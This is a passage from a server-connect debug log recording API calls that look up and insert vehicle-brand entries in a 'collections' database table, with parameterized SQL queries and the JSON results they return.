    offset: { first: 0, prev: 0, next: 25, last: 25 },
    current: 1,
    total: 2
  },
  data: [
    {
      name: 'Ford',
      id: 108,
      collectiontype_id: 11,
      collection_type: 'Vehicle Brand'
    },
    {
      name: 'Renault',
      id: 109,
      collectiontype_id: 11,
      collection_type: 'Vehicle Brand'
    },
    {
      name: 'Citroën',
      id: 110,
      collectiontype_id: 11,
      collection_type: 'Vehicle Brand'
    },
    {
      name: 'Volkswagen',
      id: 111,
      collectiontype_id: 11,
      collection_type: 'Vehicle Brand'
    },
    {
      name: 'Honda',
      id: 112,
      collectiontype_id: 11,
      collection_type: 'Vehicle Brand'
    },
    {
      name: 'Mercedes-Benz',
      id: 113,
      collectiontype_id: 11,
      collection_type: 'Vehicle Brand'
    },
    {
      name: 'McLaren',
      id: 114,
      collectiontype_id: 11,
      collection_type: 'Vehicle Brand'
    },
    {
      name: 'Lamborghini',
      id: 115,
      collectiontype_id: 11,
      collection_type: 'Vehicle Brand'
    },
    {
      name: 'Nissan',
      id: 116,
      collectiontype_id: 11,
      collection_type: 'Vehicle Brand'
    },
    {
      name: 'Land Rover',
      id: 117,
      collectiontype_id: 11,
      collection_type: 'Vehicle Brand'
    },
    {
      name: 'Chevrolet',
      id: 118,
      collectiontype_id: 11,
      collection_type: 'Vehicle Brand'
    },
    {
      name: 'Toyota',
      id: 119,
      collectiontype_id: 11,
      collection_type: 'Vehicle Brand'
    },
    {
      name: 'Mitsubishi',
      id: 120,
      collectiontype_id: 11,
      collection_type: 'Vehicle Brand'
    },
    {
      name: 'Peugeot',
      id: 121,
      collectiontype_id: 11,
      collection_type: 'Vehicle Brand'
    },
    {
      name: 'Jeep',
      id: 122,
      collectiontype_id: 11,
      collection_type: 'Vehicle Brand'
    },
    {
      name: 'Volvo',
      id: 123,
      collectiontype_id: 11,
      collection_type: 'Vehicle Brand'
    },
    {
      name: 'Ferrari',
      id: 124,
      collectiontype_id: 11,
      collection_type: 'Vehicle Brand'
    },
    {
      name: 'Bentley',
      id: 125,
      collectiontype_id: 11,
      collection_type: 'Vehicle Brand'
    },
    {
      name: 'BMW',
      id: 126,
      collectiontype_id: 11,
      collection_type: 'Vehicle Brand'
    },
    {
      name: 'Dodge',
      id: 127,
      collectiontype_id: 11,
      collection_type: 'Vehicle Brand'
    },
    {
      name: 'Alfa Romeo',
      id: 128,
      collectiontype_id: 11,
      collection_type: 'Vehicle Brand'
    },
    {
      name: 'Bugatti',
      id: 129,
      collectiontype_id: 11,
      collection_type: 'Vehicle Brand'
    },
    {
      name: 'Porsche',
      id: 130,
      collectiontype_id: 11,
      collection_type: 'Vehicle Brand'
    },
    {
      name: 'Scania',
      id: 131,
      collectiontype_id: 11,
      collection_type: 'Vehicle Brand'
    },
    {
      name: 'Audi',
      id: 132,
      collectiontype_id: 11,
      collection_type: 'Vehicle Brand'
    }
  ]
}
2026-02-03T13:01:55.787Z server-connect:router Serving serverConnect /api/masters/collections/get-collections
2026-02-03T13:01:55.787Z server-connect:app Executing action step identify
2026-02-03T13:01:55.787Z server-connect:app options: { provider: 'security' }
2026-02-03T13:01:55.787Z server-connect:output identity: 1
2026-02-03T13:01:55.787Z server-connect:app Executing action step restrict
2026-02-03T13:01:55.787Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-03T13:01:55.788Z server-connect:output restrict: undefined
2026-02-03T13:01:55.788Z server-connect:app Executing action step paged
2026-02-03T13:01:55.788Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object], [Object], [Object] ],
    params: [ [Object], [Object], [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select `collections`.`name`, `collections`.`id`, `collections`.`collectiontype_id`, `collection_type`.`name` as `collection_type` from `collections` inner join `collection_type` on `collection_type`.`id` = `collections`.`collectiontype_id` where (`collections`.`name` like ? or `collection_type`.`name` like ?) and (`collections`.`collectiontype_id` = ?)',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    }
  }
}
2026-02-03T13:01:55.789Z server-connect:output records: {
  offset: 0,
  limit: 25,
  total: 1,
  page: {
    offset: { first: 0, prev: 0, next: 0, last: 0 },
    current: 1,
    total: 1
  },
  data: [
    {
      name: 'Jeep',
      id: 122,
      collectiontype_id: 11,
      collection_type: 'Vehicle Brand'
    }
  ]
}
2026-02-03T13:02:02.572Z server-connect:router Serving serverConnect /api/masters/collections/get-collections
2026-02-03T13:02:02.574Z server-connect:app Executing action step identify
2026-02-03T13:02:02.574Z server-connect:app options: { provider: 'security' }
2026-02-03T13:02:02.574Z server-connect:output identity: 1
2026-02-03T13:02:02.574Z server-connect:app Executing action step restrict
2026-02-03T13:02:02.574Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-03T13:02:02.575Z server-connect:output restrict: undefined
2026-02-03T13:02:02.575Z server-connect:app Executing action step paged
2026-02-03T13:02:02.575Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object], [Object], [Object] ],
    params: [ [Object], [Object], [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select `collections`.`name`, `collections`.`id`, `collections`.`collectiontype_id`, `collection_type`.`name` as `collection_type` from `collections` inner join `collection_type` on `collection_type`.`id` = `collections`.`collectiontype_id` where (`collections`.`name` like ? or `collection_type`.`name` like ?) and (`collections`.`collectiontype_id` = ?)',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    }
  }
}
2026-02-03T13:02:02.577Z server-connect:output records: {
  offset: 0,
  limit: 25,
  total: 1,
  page: {
    offset: { first: 0, prev: 0, next: 0, last: 0 },
    current: 1,
    total: 1
  },
  data: [
    {
      name: 'Nissan',
      id: 116,
      collectiontype_id: 11,
      collection_type: 'Vehicle Brand'
    }
  ]
}
2026-02-03T13:02:10.905Z server-connect:router Serving serverConnect /api/masters/collections/get-collections
2026-02-03T13:02:10.905Z server-connect:app Executing action step identify
2026-02-03T13:02:10.905Z server-connect:app options: { provider: 'security' }
2026-02-03T13:02:10.905Z server-connect:output identity: 1
2026-02-03T13:02:10.905Z server-connect:app Executing action step restrict
2026-02-03T13:02:10.905Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-03T13:02:10.905Z server-connect:output restrict: undefined
2026-02-03T13:02:10.905Z server-connect:app Executing action step paged
2026-02-03T13:02:10.906Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object], [Object], [Object] ],
    params: [ [Object], [Object], [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select `collections`.`name`, `collections`.`id`, `collections`.`collectiontype_id`, `collection_type`.`name` as `collection_type` from `collections` inner join `collection_type` on `collection_type`.`id` = `collections`.`collectiontype_id` where (`collections`.`name` like ? or `collection_type`.`name` like ?) and (`collections`.`collectiontype_id` = ?)',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    }
  }
}
2026-02-03T13:02:10.907Z server-connect:output records: {
  offset: 0,
  limit: 25,
  total: 0,
  page: {
    offset: { first: 0, prev: 0, next: 0, last: -25 },
    current: 1,
    total: 0
  },
  data: []
}
2026-02-03T13:02:17.254Z server-connect:router Serving serverConnect /api/masters/collections/manage
2026-02-03T13:02:17.255Z server-connect:app Executing action step identify
2026-02-03T13:02:17.255Z server-connect:app options: { provider: 'security' }
2026-02-03T13:02:17.255Z server-connect:output identity: 1
2026-02-03T13:02:17.255Z server-connect:app Executing action step restrict
2026-02-03T13:02:17.255Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-03T13:02:17.255Z server-connect:output restrict: undefined
2026-02-03T13:02:17.255Z server-connect:app Executing action step condition
2026-02-03T13:02:17.255Z server-connect:app options: {
  if: '{{$_POST.id}}',
  then: {
    steps: {
      name: 'update',
      module: 'dbupdater',
      action: 'update',
      options: [Object],
      meta: [Array]
    }
  },
  else: {
    steps: {
      name: 'insert',
      module: 'dbupdater',
      action: 'insert',
      options: [Object],
      meta: [Array]
    }
  }
}
2026-02-03T13:02:17.256Z server-connect:app Executing action step insert
2026-02-03T13:02:17.256Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'insert',
    values: [ [Object], [Object] ],
    table: 'collections',
    returning: 'id',
    query: 'insert into `collections` (`collectiontype_id`, `name`) values (?, ?)',
    params: [ [Object], [Object] ]
  }
}
2026-02-03T13:02:17.256Z server-connect:output insert: { affected: 1, identity: 184 }
2026-02-03T13:02:17.256Z server-connect:output condition: undefined
2026-02-03T13:02:17.457Z server-connect:router Serving serverConnect /api/masters/collections/get-collections
2026-02-03T13:02:17.458Z server-connect:app Executing action step identify
2026-02-03T13:02:17.458Z server-connect:app options: { provider: 'security' }
2026-02-03T13:02:17.458Z server-connect:output identity: 1
2026-02-03T13:02:17.458Z server-connect:app Executing action step restrict
2026-02-03T13:02:17.458Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-03T13:02:17.458Z server-connect:output restrict: undefined
2026-02-03T13:02:17.458Z server-connect:app Executing action step paged
2026-02-03T13:02:17.458Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object], [Object], [Object] ],
    params: [ [Object], [Object], [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select `collections`.`name`, `collections`.`id`, `collections`.`collectiontype_id`, `collection_type`.`name` as `collection_type` from `collections` inner join `collection_type` on `collection_type`.`id` = `collections`.`collectiontype_id` where (`collections`.`name` like ? or `collection_type`.`name` like ?) and (`collections`.`collectiontype_id` = ?)',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    }
  }
}
2026-02-03T13:02:17.460Z server-connect:output records: {
  offset: 0,
  limit: 25,
  total: 1,
  page: {
    offset: { first: 0, prev: 0, next: 0, last: 0 },
    current: 1,
    total: 1
  },
  data: [
    {
      name: 'Lucid',
      id: 184,
      collectiontype_id: 11,
      collection_type: 'Vehicle Brand'
    }
  ]
}
2026-02-03T13:02:29.750Z server-connect:router Serving serverConnect /api/masters/collections/get-collections
2026-02-03T13:02:29.750Z server-connect:app Executing action step identify
2026-02-03T13:02:29.751Z server-connect:app options: { provider: 'security' }
2026-02-03T13:02:29.751Z server-connect:output identity: 1
2026-02-03T13:02:29.751Z server-connect:app Executing action step restrict
2026-02-03T13:02:29.751Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-03T13:02:29.751Z server-connect:output restrict: undefined
2026-02-03T13:02:29.751Z server-connect:app Executing action step paged
2026-02-03T13:02:29.751Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object], [Object], [Object] ],
    params: [ [Object], [Object], [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select `collections`.`name`, `collections`.`id`, `collections`.`collectiontype_id`, `collection_type`.`name` as `collection_type` from `collections` inner join `collection_type` on `collection_type`.`id` = `collections`.`collectiontype_id` where (`collections`.`name` like ? or `collection_type`.`name` like ?) and (`collections`.`collectiontype_id` = ?)',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    }
  }
}
2026-02-03T13:02:29.752Z server-connect:output records: {
  offset: 0,
  limit: 25,
  total: 0,
  page: {
    offset: { first: 0, prev: 0, next: 0, last: -25 },
    current: 1,
    total: 0
  },
  data: []
}
2026-02-03T13:02:37.364Z server-connect:router Serving serverConnect /api/masters/collections/manage
2026-02-03T13:02:37.365Z server-connect:app Executing action step identify
2026-02-03T13:02:37.365Z server-connect:app options: { provider: 'security' }
2026-02-03T13:02:37.365Z server-connect:output identity: 1
2026-02-03T13:02:37.365Z server-connect:app Executing action step restrict
2026-02-03T13:02:37.365Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-03T13:02:37.365Z server-connect:output restrict: undefined
2026-02-03T13:02:37.366Z server-connect:app Executing action step condition
2026-02-03T13:02:37.366Z server-connect:app options: {
  if: '{{$_POST.id}}',
  then: {
    steps: {
      name: 'update',
      module: 'dbupdater',
      action: 'update',
      options: [Object],
      meta: [Array]
    }
  },
  else: {
    steps: {
      name: 'insert',
      module: 'dbupdater',
      action: 'insert',
      options: [Object],
      meta: [Array]
    }
  }
}
2026-02-03T13:02:37.366Z server-connect:app Executing action step insert
2026-02-03T13:02:37.366Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'insert',
    values: [ [Object], [Object] ],
    table: 'collections',
    returning: 'id',
    query: 'insert into `collections` (`collectiontype_id`, `name`) values (?, ?)',
    params: [ [Object], [Object] ]
  }
}
2026-02-03T13:02:37.366Z server-connect:output insert: { affected: 1, identity: 185 }
2026-02-03T13:02:37.366Z server-connect:output condition: undefined
2026-02-03T13:02:37.572Z server-connect:router Serving serverConnect /api/masters/collections/get-collections
2026-02-03T13:02:37.572Z server-connect:app Executing action step identify
2026-02-03T13:02:37.572Z server-connect:app options: { provider: 'security' }
2026-02-03T13:02:37.573Z server-connect:output identity: 1
2026-02-03T13:02:37.573Z server-connect:app Executing action step restrict
2026-02-03T13:02:37.573Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-03T13:02:37.573Z server-connect:output restrict: undefined
2026-02-03T13:02:37.573Z server-connect:app Executing action step paged
2026-02-03T13:02:37.573Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object], [Object], [Object] ],
    params: [ [Object], [Object], [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select `collections`.`name`, `collections`.`id`, `collections`.`collectiontype_id`, `collection_type`.`name` as `collection_type` from `collections` inner join `collection_type` on `collection_type`.`id` = `collections`.`collectiontype_id` where (`collections`.`name` like ? or `collection_type`.`name` like ?) and (`collections`.`collectiontype_id` = ?)',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    }
  }
}
2026-02-03T13:02:37.575Z server-connect:output records: {
  offset: 0,
  limit: 25,
  total: 1,
  page: {
    offset: { first: 0, prev: 0, next: 0, last: 0 },
    current: 1,
    total: 1
  },
  data: [
    {
      name: 'Lotus',
      id: 185,
      collectiontype_id: 11,
      collection_type: 'Vehicle Brand'
    }
  ]
}
2026-02-03T13:02:43.655Z server-connect:router Serving serverConnect /api/masters/collections/get-collections
2026-02-03T13:02:43.655Z server-connect:app Executing action step identify
2026-02-03T13:02:43.655Z server-connect:app options: { provider: 'security' }
2026-02-03T13:02:43.656Z server-connect:output identity: 1
2026-02-03T13:02:43.656Z server-connect:app Executing action step restrict
2026-02-03T13:02:43.656Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-03T13:02:43.656Z server-connect:output restrict: undefined
2026-02-03T13:02:43.656Z server-connect:app Executing action step paged
2026-02-03T13:02:43.656Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object], [Object], [Object] ],
    params: [ [Object], [Object], [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select `collections`.`name`, `collections`.`id`, `collections`.`collectiontype_id`, `collection_type`.`name` as `collection_type` from `collections` inner join `collection_type` on `collection_type`.`id` = `collections`.`collectiontype_id` where (`collections`.`name` like ? or `collection_type`.`name` like ?) and (`collections`.`collectiontype_id` = ?)',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    }
  }
}
2026-02-03T13:02:43.658Z server-connect:output records: {
  offset: 0,
  limit: 25,
  total: 0,
  page: {
    offset: { first: 0, prev: 0, next: 0, last: -25 },
    current: 1,
    total: 0
  },
  data: []
}
2026-02-03T13:02:51.992Z server-connect:router Serving serverConnect /api/masters/collections/manage
2026-02-03T13:02:51.993Z server-connect:app Executing action step identify
2026-02-03T13:02:51.993Z server-connect:app options: { provider: 'security' }
2026-02-03T13:02:51.993Z server-connect:output identity: 1
2026-02-03T13:02:51.993Z server-connect:app Executing action step restrict
2026-02-03T13:02:51.993Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-03T13:02:51.994Z server-connect:output restrict: undefined
2026-02-03T13:02:51.994Z server-connect:app Executing action step condition
2026-02-03T13:02:51.994Z server-connect:app options: {
  if: '{{$_POST.id}}',
  then: {
    steps: {
      name: 'update',
      module: 'dbupdater',
      action: 'update',
      options: [Object],
      meta: [Array]
    }
  },
  else: {
    steps: {
      name: 'insert',
      module: 'dbupdater',
      action: 'insert',
      options: [Object],
      meta: [Array]
    }
  }
}
2026-02-03T13:02:51.994Z server-connect:app Executing action step insert
2026-02-03T13:02:51.994Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'insert',
    values: [ [Object], [Object] ],
    table: 'collections',
    returning: 'id',
    query: 'insert into `collections` (`collectiontype_id`, `name`) values (?, ?)',
    params: [ [Object], [Object] ]
  }
}
2026-02-03T13:02:51.995Z server-connect:output insert: { affected: 1, identity: 186 }
2026-02-03T13:02:51.995Z server-connect:output condition: undefined
2026-02-03T13:02:52.196Z server-connect:router Serving serverConnect /api/masters/collections/get-collections
2026-02-03T13:02:52.197Z server-connect:app Executing action step identify
2026-02-03T13:02:52.197Z server-connect:app options: { provider: 'security' }
2026-02-03T13:02:52.197Z server-connect:output identity: 1
2026-02-03T13:02:52.197Z server-connect:app Executing action step restrict
2026-02-03T13:02:52.197Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-03T13:02:52.198Z server-connect:output restrict: undefined
2026-02-03T13:02:52.198Z server-connect:app Executing action step paged
2026-02-03T13:02:52.198Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object], [Object], [Object] ],
    params: [ [Object], [Object], [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select `collections`.`name`, `collections`.`id`, `collections`.`collectiontype_id`, `collection_type`.`name` as `collection_type` from `collections` inner join `collection_type` on `collection_type`.`id` = `collections`.`collectiontype_id` where (`collections`.`name` like ? or `collection_type`.`name` like ?) and (`collections`.`collectiontype_id` = ?)',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    }
  }
}
2026-02-03T13:02:52.200Z server-connect:output records: {
  offset: 0,
  limit: 25,
  total: 1,
  page: {
    offset: { first: 0, prev: 0, next: 0, last: 0 },
    current: 1,
    total: 1
  },
  data: [
    {
      name: 'Datsun',
      id: 186,
      collectiontype_id: 11,
      collection_type: 'Vehicle Brand'
    }
  ]
}
2026-02-03T13:03:06.737Z server-connect:router Serving serverConnect /api/masters/collections/get-collections
2026-02-03T13:03:06.738Z server-connect:app Executing action step identify
2026-02-03T13:03:06.738Z server-connect:app options: { provider: 'security' }
2026-02-03T13:03:06.738Z server-connect:output identity: 1
2026-02-03T13:03:06.738Z server-connect:app Executing action step restrict
2026-02-03T13:03:06.738Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-03T13:03:06.739Z server-connect:output restrict: undefined
2026-02-03T13:03:06.739Z server-connect:app Executing action step paged
2026-02-03T13:03:06.739Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object], [Object], [Object] ],
    params: [ [Object], [Object], [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select `collections`.`name`, `collections`.`id`, `collections`.`collectiontype_id`, `collection_type`.`name` as `collection_type` from `collections` inner join `collection_type` on `collection_type`.`id` = `collections`.`collectiontype_id` where (`collections`.`name` like ? or `collection_type`.`name` like ?) and (`collections`.`collectiontype_id` = ?)',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    }
  }
}
2026-02-03T13:03:06.740Z server-connect:output records: {
  offset: 0,
  limit: 25,
  total: 0,
  page: {
    offset: { first: 0, prev: 0, next: 0, last: -25 },
    current: 1,
    total: 0
  },
  data: []
}
2026-02-03T13:03:17.166Z server-connect:router Serving serverConnect /api/masters/collections/manage
2026-02-03T13:03:17.166Z server-connect:app Executing action step identify
2026-02-03T13:03:17.166Z server-connect:app options: { provider: 'security' }
2026-02-03T13:03:17.166Z server-connect:output identity: 1
2026-02-03T13:03:17.166Z server-connect:app Executing action step restrict
2026-02-03T13:03:17.166Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-03T13:03:17.167Z server-connect:output restrict: undefined
2026-02-03T13:03:17.167Z server-connect:app Executing action step condition
2026-02-03T13:03:17.167Z server-connect:app options: {
  if: '{{$_POST.id}}',
  then: {
    steps: {
      name: 'update',
      module: 'dbupdater',
      action: 'update',
      options: [Object],
      meta: [Array]
    }
  },
  else: {
    steps: {
      name: 'insert',
      module: 'dbupdater',
      action: 'insert',
      options: [Object],
      meta: [Array]
    }
  }
}
2026-02-03T13:03:17.167Z server-connect:app Executing action step insert
2026-02-03T13:03:17.167Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'insert',
    values: [ [Object], [Object] ],
    table: 'collections',
    returning: 'id',
    query: 'insert into `collections` (`collectiontype_id`, `name`) values (?, ?)',
    params: [ [Object], [Object] ]
  }
}
2026-02-03T13:03:17.168Z server-connect:output insert: { affected: 1, identity: 187 }
2026-02-03T13:03:17.168Z server-connect:output condition: undefined
2026-02-03T13:03:17.377Z server-connect:router Serving serverConnect /api/masters/collections/get-collections
2026-02-03T13:03:17.377Z server-connect:app Executing action step identify
2026-02-03T13:03:17.377Z server-connect:app options: { provider: 'security' }
2026-02-03T13:03:17.377Z server-connect:output identity: 1
2026-02-03T13:03:17.377Z server-connect:app Executing action step restrict
2026-02-03T13:03:17.377Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-03T13:03:17.378Z server-connect:output restrict: undefined
2026-02-03T13:03:17.378Z server-connect:app Executing action step paged
2026-02-03T13:03:17.378Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object], [Object], [Object] ],
    params: [ [Object], [Object], [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select `collections`.`name`, `collections`.`id`, `collections`.`collectiontype_id`, `collection_type`.`name` as `collection_type` from `collections` inner join `collection_type` on `collection_type`.`id` = `collections`.`collectiontype_id` where (`collections`.`name` like ? or `collection_type`.`name` like ?) and (`collections`.`collectiontype_id` = ?)',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    }
  }
}
2026-02-03T13:03:17.379Z server-connect:output records: {
  offset: 0,
  limit: 25,
  total: 1,
  page: {
    offset: { first: 0, prev: 0, next: 0, last: 0 },
    current: 1,
    total: 1
  },
  data: [
    {
      name: 'Monte Carlo',
      id: 187,
      collectiontype_id: 11,
      collection_type: 'Vehicle Brand'
    }
  ]
}
2026-02-03T13:03:31.686Z server-connect:router Serving serverConnect /api/masters/collections/get-collections
2026-02-03T13:03:31.686Z server-connect:app Executing action step identify
2026-02-03T13:03:31.686Z server-connect:app options: { provider: 'security' }
2026-02-03T13:03:31.686Z server-connect:output identity: 1
2026-02-03T13:03:31.686Z server-connect:app Executing action step restrict
2026-02-03T13:03:31.686Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-03T13:03:31.687Z server-connect:output restrict: undefined
2026-02-03T13:03:31.687Z server-connect:app Executing action step paged
2026-02-03T13:03:31.687Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object], [Object], [Object] ],
    params: [ [Object], [Object], [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select `collections`.`name`, `collections`.`id`, `collections`.`collectiontype_id`, `collection_type`.`name` as `collection_type` from `collections` inner join `collection_type` on `collection_type`.`id` = `collections`.`collectiontype_id` where (`collections`.`name` like ? or `collection_type`.`name` like ?) and (`collections`.`collectiontype_id` = ?)',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    }
  }
}
2026-02-03T13:03:31.688Z server-connect:output records: {
  offset: 0,
  limit: 25,
  total: 0,
  page: {
    offset: { first: 0, prev: 0, next: 0, last: -25 },
    current: 1,
    total: 0
  },
  data: []
}
2026-02-03T13:03:39.735Z server-connect:router Serving serverConnect /api/masters/collections/manage
2026-02-03T13:03:39.735Z server-connect:app Executing action step identify
2026-02-03T13:03:39.735Z server-connect:app options: { provider: 'security' }
2026-02-03T13:03:39.735Z server-connect:output identity: 1
2026-02-03T13:03:39.735Z server-connect:app Executing action step restrict
2026-02-03T13:03:39.735Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-03T13:03:39.736Z server-connect:output restrict: undefined
2026-02-03T13:03:39.736Z server-connect:app Executing action step condition
2026-02-03T13:03:39.736Z server-connect:app options: {
  if: '{{$_POST.id}}',
  then: {
    steps: {
      name: 'update',
      module: 'dbupdater',
      action: 'update',
      options: [Object],
      meta: [Array]
    }
  },
  else: {
    steps: {
      name: 'insert',
      module: 'dbupdater',
      action: 'insert',
      options: [Object],
      meta: [Array]
    }
  }
}
2026-02-03T13:03:39.736Z server-connect:app Executing action step insert
2026-02-03T13:03:39.736Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'insert',
    values: [ [Object], [Object] ],
    table: 'collections',
    returning: 'id',
    query: 'insert into `collections` (`collectiontype_id`, `name`) values (?, ?)',
    params: [ [Object], [Object] ]
  }
}
2026-02-03T13:03:39.736Z server-connect:output insert: { affected: 1, identity: 188 }
2026-02-03T13:03:39.737Z server-connect:output condition: undefined
2026-02-03T13:03:39.940Z server-connect:router Serving serverConnect /api/masters/collections/get-collections
2026-02-03T13:03:39.940Z server-connect:app Executing action step identify
2026-02-03T13:03:39.940Z server-connect:app options: { provider: 'security' }
2026-02-03T13:03:39.940Z server-connect:output identity: 1
2026-02-03T13:03:39.940Z server-connect:app Executing action step restrict
2026-02-03T13:03:39.940Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-03T13:03:39.941Z server-connect:output restrict: undefined
2026-02-03T13:03:39.941Z server-connect:app Executing action step paged
2026-02-03T13:03:39.941Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object], [Object], [Object] ],
    params: [ [Object], [Object], [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select `collections`.`name`, `collections`.`id`, `collections`.`collectiontype_id`, `collection_type`.`name` as `collection_type` from `collections` inner join `collection_type` on `collection_type`.`id` = `collections`.`collectiontype_id` where (`collections`.`name` like ? or `collection_type`.`name` like ?) and (`collections`.`collectiontype_id` = ?)',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    }
  }
}
2026-02-03T13:03:39.942Z server-connect:output records: {
  offset: 0,
  limit: 25,
  total: 1,
  page: {
    offset: { first: 0, prev: 0, next: 0, last: 0 },
    current: 1,
    total: 1
  },
  data: [
    {
      name: 'Road Runner',
      id: 188,
      collectiontype_id: 11,
      collection_type: 'Vehicle Brand'
    }
  ]
}
2026-02-03T13:03:47.773Z server-connect:router Serving serverConnect /api/masters/collections/get-collections
2026-02-03T13:03:47.781Z server-connect:app Executing action step identify
2026-02-03T13:03:47.781Z server-connect:app options: { provider: 'security' }
2026-02-03T13:03:47.781Z server-connect:output identity: 1
2026-02-03T13:03:47.781Z server-connect:app Executing action step restrict
2026-02-03T13:03:47.781Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-03T13:03:47.782Z server-connect:output restrict: undefined
2026-02-03T13:03:47.782Z server-connect:app Executing action step paged
2026-02-03T13:03:47.782Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object], [Object], [Object] ],
    params: [ [Object], [Object], [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select `collections`.`name`, `collections`.`id`, `collections`.`collectiontype_id`, `collection_type`.`name` as `collection_type` from `collections` inner join `collection_type` on `collection_type`.`id` = `collections`.`collectiontype_id` where (`collections`.`name` like ? or `collection_type`.`name` like ?) and (`collections`.`collectiontype_id` = ?)',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    }
  }
}
2026-02-03T13:03:47.783Z server-connect:output records: {
  offset: 0,
  limit: 25,
  total: 0,
  page: {
    offset: { first: 0, prev: 0, next: 0, last: -25 },
    current: 1,
    total: 0
  },
  data: []
}
2026-02-03T13:03:52.972Z server-connect:router Serving serverConnect /api/masters/collections/manage
2026-02-03T13:03:52.973Z server-connect:app Executing action step identify
2026-02-03T13:03:52.973Z server-connect:app options: { provider: 'security' }
2026-02-03T13:03:52.973Z server-connect:output identity: 1
2026-02-03T13:03:52.973Z server-connect:app Executing action step restrict
2026-02-03T13:03:52.973Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-03T13:03:52.973Z server-connect:output restrict: undefined
2026-02-03T13:03:52.973Z server-connect:app Executing action step condition
2026-02-03T13:03:52.973Z server-connect:app options: {
  if: '{{$_POST.id}}',
  then: {
    steps: {
      name: 'update',
      module: 'dbupdater',
      action: 'update',
      options: [Object],
      meta: [Array]
    }
  },
  else: {
    steps: {
      name: 'insert',
      module: 'dbupdater',
      action: 'insert',
      options: [Object],
      meta: [Array]
    }
  }
}
2026-02-03T13:03:52.973Z server-connect:app Executing action step insert
2026-02-03T13:03:52.974Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'insert',
    values: [ [Object], [Object] ],
    table: 'collections',
    returning: 'id',
    query: 'insert into `collections` (`collectiontype_id`, `name`) values (?, ?)',
